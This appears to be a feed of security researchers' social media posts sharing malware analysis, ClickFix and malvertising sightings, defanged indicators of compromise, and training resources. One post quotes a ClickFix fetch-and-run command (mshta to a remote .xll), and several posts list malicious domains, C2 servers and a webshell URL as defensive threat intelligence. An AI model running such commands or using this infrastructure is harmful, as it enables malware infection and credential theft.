My first blog with Proofpoint is live! And we love a good crossover. State-sponsored actors try their hand at ClickFix - the hottest thing in cybercrime. Meet the North Koreans, Iranians, and Russians who are upping their social engineering game www.proofpoint.com/us/blog/thre...

I took a look at a new malware loader which uses steganography within WAV 🌊 files to deliver its payload on an endpoint. Enjoy! www.youtube.com/watch?v=NiNI...

⌛ This series will take you through installing WinDbg and configuring Binary Ninja to use the WinDbg engine to create and use TTD traces. It will also show you how to capture TTD traces and replay them in Binary Ninja 👇

Note: The C2 for this infection has been identified as Lumma Stealer instead of Vidar: - threatfox.abuse.ch/ioc/1405142/

2025-02-05 (Wednesday): #ClearFake / #ClickFix style fake CAPTCHA leads to possible #Vidar. Vidar C2 using eteherealpath[.]top behind Cloudflare. Details at github.com/malware-traf...

With Trump's win, crypto's price is booming. But beware. @g0njxa.bsky.social and @russianpanda.bsky.social have done a massive investigation into how an organised criminal group is trying to steal #bitcoin and other #crytocurrency with infostealer malware. #infosec trac-labs.com/hearts-stole...

2025-02-04 (Tuesday): From a #ClickFix style fake CAPTCHA, I got a copy/paste command for: mshta hxxp[:]//80.64.30[.]238/evix.xll Ran it and ended up with HTTPS C2 traffic to stchkr[.]rest which was reported as a #Vidar domain yesterday on ThreatFox. threatfox.abuse.ch/ioc/1402588/

2025-01-30 (Thursday): #XLoader infection. Unlike my previous XLoader infections, this one didn't run in my VM, so I used a physical host. A #pcap of the infection traffic, the associated malware samples, and more info is available at malware-traffic-analysis.net/2025/01/30/i...

📣 New video drop - in this video I discuss ways to detect shellcode entry point using properties of position independence. Nothing advanced but a helpful technique when you lack context on the shellcode 👇

No live streams this week so why not learn more about the PE file format?! This video discusses the AddressOfEntryPoint and techniques for finding main in tools such as IDA Pro 👇 https://buff.ly/4haGIDu Need more PE (and who doesn't)? Give this playlist a view: https://buff.ly/4aO0lz3

In case if you wonder what broke #ProcessHollowing on Windows 11 24H2, I have something for you: hshrzd.wordpress.com/2025/01/27/p...

🦔 📹 New Video: Binary Refinery deobfuscation of a LummaStealer loader (PowerShell, JScript) www.youtube.com/watch?v=kHU_... #MalwareAnalysisForHedgehogs #PowerShell #JScript

A fairly sizable distributed port scan (all source port 19000) about 30 minutes ago; raw logs and sources here: gist.github.com/silence-is-b...

2025-01-22 (Wednesday): #TrafficAnalysisExercise: Download from fake software site. I've posted a traffic analysis exercise based on the same type of #Malvertizing I wrote about for my employer at github.com/PaloAltoNetw... The exercise #pcap is at www.malware-traffic-analysis.net/2025/01/22/i...

New episode of DISCARDED! Featuring Kristina Walter, Chief of the NSA's Cybersecurity Collaboration Center. It was a fantastic conversation. Apple: podcasts.apple.com/us/podcast/d... Spotify: open.spotify.com/episode/0Ont... Web: www.proofpoint.com/us/podcasts/...

📣 New Year, New Episode - check out the latest episode of the Behind the Binary podcast! Stephen Eckels joins us to talk about game hacking/modding, discovering the Sunburst backdoor, getting into reverse engineering and much more! 🎧

Takedown Services Manager Hannah Rapetti helps Proofpoint customers address malicious web domains that are targeting their company. In this video, she highlights tactics employed by threat actors to trick users into thinking the content is legitimate. Stream the full episode: ow.ly/vXoP50UGz5e.

🚀 Learning tools such as IDA Pro and Ghidra starts with understanding assembly. One of my latest courses on Pluralsight will teach you the basics of the assembly language to get started 👇 https://buff.ly/3Pz2wfZ Or you can check out this 24 video playlist on YouTube: https://buff.ly/4jfR72c

Imagine for a moment that Google allowed a sponsored link to a phishing site for Google ads... www.malwarebytes.com/blog/news/20... #GoogleSearch #GoogleAds #malvertising #phishing

2025-01-13 (Mon): Something I wrote for my employer: Legitimate websites infected with #KongTuke script present CAPTCHA-style pages that ask victims to paste #PowerShell script into a Run window. Lately, this has led to infections abusing the #BOINC platform. More info at: github.com/PaloAltoNetw...

🎙️ New podcast is live! This time, we’re diving into detection engineering: the process, challenges, and how to break into the field. Packed with practical tips and insights! 🎧 Check it out: creators.spotify.com...

🎉 Only a few weeks left until our new features and authentication launch! Here’s a reminder of what to expect: ✨ NEW capabilities, including: ✅ False-positive lists to refine your searches ✅ URLhaus hunting tools for deeper insights ✅ And so much more! 1/2

☠️ If learning malware analysis/reverse engineering skills is on your 2025 to do list, you're in luck! I've created a live stream series called Malware Mondays to help you get started 👇 https://buff.ly/4j5KZtq Sessions are independent but can be viewed consecutively to enhance abilities!

#opendir at: https:// superior-somalia-bs-leisure.trycloudflare\.com -> http:// jsnybsafva\.biz:8030

2025-01-09 (Thursday): Now this is more like it! Real #malspam with real #malware. Even if the infection traffic looks like it's an #Matiex or #SnakeLogger or #AgentTesla variant that exfiltrates data through api.telegram[.]org. #AnyRun analysis of the malware EXE at: app.any.run/tasks/8ffd01...

2025-01-08 (Wednesday): Alright, man! I could use a vacation! The final #phishing page at faernleys[.]com didn't work for me, though.

New episode of DISCARDED! Hannah Rapetti talks about how threat actors create and use malicious domains and the process for taking down adversary infrastructure.   Apple: podcasts.apple.com/us/podcast/d... Spotify: open.spotify.com/episode/6gpE... Web: www.proofpoint.com/us/podcasts/...

🎓 I am excited to share a link that organizes my educational resources into a structured path. I hope it becomes a valuable starting point for those interested in malware analysis and reverse engineering👇

2024-12-24 (Tue): dauphonemicrofinance[.]org led to #Captcha #ClickFix copy/paste script to grab/run #infostealer hosted on Github. Malware sample available at: bazaar.abuse.ch/sample/847c2... Infostealer C2 same as yesterday: hxxps[:]//t[.]me/k04ael hxxps[:]//bijutr[.]shop/ #CaptchaClickFix

2024-12-23 (Mon): Compromised site bulwarkintelligence[.]com leading to #ClickFix style copy/paste script to grab & run #infostealer hosted on Github. Infostealer sample available at: bazaar.abuse.ch/sample/89b55... Infostealer C2: hxxp[:]//t[.]me/k04ael hxxps[:]//bijutr[.]shop/

Malicious Google ad for Malwarebytes ⚠️ hxxps[://]sites[.]google[.]com/view/dexters-antivirus/home #malvertising

2024-12-16 (Mon): More Brazil-targeted #malspam pushing #Guildma / #Astaroth. Email link 214.235.109[.]208.host.secureserver.net/cliente/Assinar_PDF_3476 Zip bazaar.abuse.ch/sample/59a88... Shortcut generated this URL for follow-up malware: hxxps[:]//stralinluntar06.medicoassocidos[.]homes/?1//?8/

A fraudulent Google ad meant to phish employees for their login credentials redirects them to a fake browser update page instead. #malvertising #phishing #SocGholish 🔗 www.malwarebytes.com/blog/news/20...

Malicious Google ad for PayPal ⚠️ https[:]//sites[.]google.com/view/pay-pal-helpcustomerservic/ #malvertising

Malicious Google ad for eBay ⚠️ fbdecors[.]online #malvertising

Malicious Google ad for Grammarly ⚠️ grammarly[.]pc-download[.]live #malvertising

2024-12-13 (Friday): www.anceltech[.]com compromised with #SmartApeSG leading to #NetSupport #RAT 2 injected scripts. jitcom[.]info and best-net[.]biz. Pivoting on best-net[.]biz in URLscan show signs of six other compromised sites: urlscan.io/search/#best... #NetSupportRAT

New #PEsieve & #HollowsHunter (v0.4.0) are released: github.com/hasherezade/... & github.com/hasherezade/... - A lot has changed in the new version, check it out!

Malicious Google ad for Kaiser Permanente ⚠️ bellonasoftware[.]com #malvertising

2024-12-04 (Wednesday): Reviewing my most recent web server access logs for my malware-traffic-analysis.net blog shows what looks like an attempt to get a PHP #webshell on my web server. The URL for the PHP webshell is hxxp://1.14.123[.]164/ote.txt

2024-11-22 (Friday) #XLoader / #Formbook: I've been fired by my non-existent HR department. At least I got a "salary-receipt.exe" bazaar.abuse.ch/sample/003b5... Tria.ge and Any.Run don't identify the malware, but Joe Sandbox does: www.joesandbox.com/analysis/156... Also runs in my lab just fine

As users are flocking to BlueSky from social media platforms like X/Twitter, so are threat actors. BleepingComputer has spotted cryptocurrency scams popping up on BlueSky just as the decentralized microblogging service surpassed 20 million users this week. www.bleepingcomputer.com/news/securit...

certReport 3.1.4 Bugfix - indicators could be printed in duplicate certReport makes reporting code-signing certs easy. No-one likes spending time reading or writing reports. That is: I just noticed the problem. Maybe someone else did. I don't know. It is gone now.

I’m looking for a new remote work opportunity starting in April. If you think I’d be a good fit for your team, let me know!

Big updates to our DFIR Labs platform! 👇👇 Thank you for providing your feedback, these changes are what you’ve all been asking for! 🙏 And we also have one more big announcement soon, keep an eye out for that 🔜

Code-Signing cert "FUJI FURUKAWA E&C (VIETNAM) CO.,LTD" This signer was used to sign some low detection malware and some not so low detection #malware. bazaar.abuse.ch/browse/tag/F... Reported using certReport: github.com/Squiblydoo/c... see default report below. Please report certs. :)

We've recently published a blog on a new information stealing campaign, PXA Stealer, targeting government and education sectors. #malware #stealer #cybersecurity Read the blog here: cs.co/6019sqbWX

abuse.ch/blog/communi... Many thanks to Roman and Abuse.ch for working tirelessly on this issue for the greater good.

New blog drop with @selenalarson.bsky.social and the rest of the team. This one covers a lot of threats using the #ClickFix technique to lure targets to infect themselves by pasting malicious CMD/PS code. My "fave" is the chumbox #malvertising on major tech sites. www.proofpoint.com/us/blog/thre...